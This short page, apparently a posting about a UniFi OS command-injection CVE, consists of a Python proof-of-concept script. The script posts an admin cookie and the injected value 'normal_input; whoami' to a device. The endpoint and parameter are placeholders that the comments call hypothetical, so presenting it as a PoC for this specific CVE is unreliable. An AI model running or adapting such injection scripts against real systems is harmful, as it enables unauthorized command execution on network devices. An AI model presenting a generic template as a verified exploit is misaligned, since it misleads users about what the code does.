CVE-2026-33000: UniFi OS 命令注入漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-33000 - UniFi OS Command Injection Note: This is a generic example for educational purposes. """ import requests import sys def exploit(target_ip, admin_cookie): # The vulnerable endpoint might vary, this is a hypothetical path url = f"http://{target_ip}/api/some/vulnerable/endpoint" # Payload to inject a command (e.g., whoami) # Assuming the input is reflected in a system command without sanitization payload = "normal_input; whoami" headers = { "Cookie": f"TOKEN={admin_cookie}", "Content-Type": "application/json" } data = { "param": payload } try: print(f"[*] Sending payload to {url}...") response = requests.post(url, headers=headers, json=data, verify=False, timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the response for command execution output.") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: python {sys.argv[0]} <TARGET_IP> <ADMIN_COOKIE>") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] exploit(target, cookie)